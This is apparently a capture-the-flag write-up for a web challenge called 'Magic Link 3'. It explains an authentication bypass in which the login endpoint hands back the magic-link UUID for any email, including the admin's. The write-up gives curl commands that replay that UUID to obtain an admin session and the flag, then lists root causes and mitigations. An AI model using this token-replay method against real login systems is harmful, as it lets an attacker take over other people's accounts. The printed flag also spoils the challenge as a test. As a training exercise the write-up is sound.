Magic Link 3
Challenge
Content preserved from the original writeup source. Minimal normalization was applied to fit platform format.
Solution
Original Writeup Content (Preserved)
Magic Link 3 Writeup
Challenge: bluehens-magic-link.chals.io
Category: Web
Points: 100
Flag format: udctf{}
Summary
The application returns a valid login UUID for any registered email through POST /login, including the admin account. Replaying that UUID at /login/<uuid> creates an authenticated session cookie. Visiting /dashboard with that cookie reveals the flag.
Recon
- Opened
/and observed the magic-link login flow posting to/login. - Submitted
admin@udctf.comto/loginand received JSON containing auuid. - Tested the magic-link endpoint with that value:
/login/<uuid>. - The response set a signed Flask session cookie for
admin@udctf.comand redirected to/dashboard.
Exploitation
1) Request admin magic link UUID
curl -sS -X POST https://bluehens-magic-link.chals.io/login -d 'email=admin@udctf.com'
Example response:
{
"datetime": "2026-04-17T19:13:54.000000+00:00",
"email": "admin@udctf.com",
"ip-address": "10.1.0.21",
"message": "Magic link generated, check your email.",
"uuid": "dkoU2P4s15I2Z7wo9P-pmQ"
}
2) Replay the UUID to create authenticated session
curl -sS -i "https://bluehens-magic-link.chals.io/login/dkoU2P4s15I2Z7wo9P-pmQ" -c /tmp/ml3_cookie.txt
Important behavior:
302redirect to/dashboardSet-Cookie: session=...issued for admin user context
3) Access dashboard with session cookie
curl -sS -i https://bluehens-magic-link.chals.io/dashboard -b /tmp/ml3_cookie.txt
Response included:
<h1>Welcome Admin</h1>
<p>Flag: udctf{y0u_4r3_m4g1c_l1nk_m4st3r}</p>
Flag
udctf{y0u_4r3_m4g1c_l1nk_m4st3r}
Root Cause
- Sensitive login artifact (
uuid) is returned directly to the client. - UUID can be replayed immediately as a bearer login token.
- No additional proof-of-possession step (email inbox control) is required before issuing session.
Mitigations
- Never return raw magic-link tokens in API responses.
- Deliver login links only through out-of-band channel (email) and keep token server-side hashed.
- Bind token use to strict constraints (single use, short TTL, IP/device checks where appropriate).
- Add abuse controls (rate limits, anomaly detection, account lock heuristics).